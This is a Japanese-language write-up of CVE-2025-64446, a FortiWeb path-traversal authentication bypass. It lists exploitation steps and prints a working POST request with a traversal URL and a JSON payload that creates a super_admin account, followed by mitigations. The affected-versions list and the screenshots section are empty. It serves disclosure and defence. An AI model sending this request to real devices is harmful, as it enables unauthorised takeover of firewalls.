---

📌 概要

CVE-2025-64446 は、FortiWeb Webアプリケーションファイアウォール管理インターフェースにおける深刻な相対パストラバーサル脆弱性です。

認証されていないリモート攻撃者はこの欠陥を悪用して認証をバイパスし、完全な権限を持つ新しい管理者ユーザを作成することで、デバイスを完全に乗っ取ることができます。

• CVSS v3.1 スコア: 9.8 (Critical)
• 攻撃タイプ: 認証不要のリモート
• 影響: 完全な管理者権限の奪取
• ステータス: 実際の環境で活発に悪用されています

---

🛠️ 影響を受けるバージョン

推奨: できるだけ早く最新のパッチ適用バージョンにアップデートしてください。

---

🔥 攻撃者がこの脆弱性を悪用する方法

段階的な悪用手順

1. ターゲットの特定
   攻撃者は公開されているFortiWeb管理インターフェース（通常はHTTPSポート443または8443）をスキャンします。

2. 悪意のあるリクエストの作成
   このエクスプロイトの核心は、相対パストラバーサル（../）と、内部の認証不要のCGIエンドポイントに到達するために特別に細工されたURLの組み合わせです。

   脆弱なエンドポイントパターン:

   root@kitploit:~

   /api/v2.0/cmdb/system/admin?.../../../../../../cgi-bin/fwbcgi
   

3. エクスプロイトの送信

   攻撃者は、管理者アカウントを作成するためのJSONペイロードを含む単一のPOSTリクエストを送信します。

   エクスプロイトリクエストの例:

   root@kitploit:~

   POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
   Host: target-fortiw eb.example.com
   Content-Type: application/json
   
   {
     "name": "hackedadmin",
     "password": "AttackerPass123!",
     "access_profile": "super_admin",
     "type": "local"
   }
   

4. 悪用の成功

   成功すると、FortiWebは事前の認証を必要とせずに新しい管理者アカウントを作成します。攻撃者は新しく作成された認証情報でログインし、WAFの完全な制御を得ることができます。

なぜ機能するのか

管理APIがパスを適切にサニタイズできないため、リクエストがレガシーのfwbcgiバイナリに戻ってトラバースでき、特定の操作に対する認証が強制されません。

---

📸 スクリーンショット

---

🛡️ 緩和策とベストプラクティス

• 直ちにFortiWebを修正済みバージョンにアップグレードする
• 管理インターフェースをインターネットに直接公開しない
• 管理アクセスには強力なネットワークセグメンテーションとVPNを使用する
• fwbcgi、../、または異常な管理者作成試行を含むリクエストのログを監視する
• 管理者アカウントを定期的に監査し、不審なエントリがないか確認する

---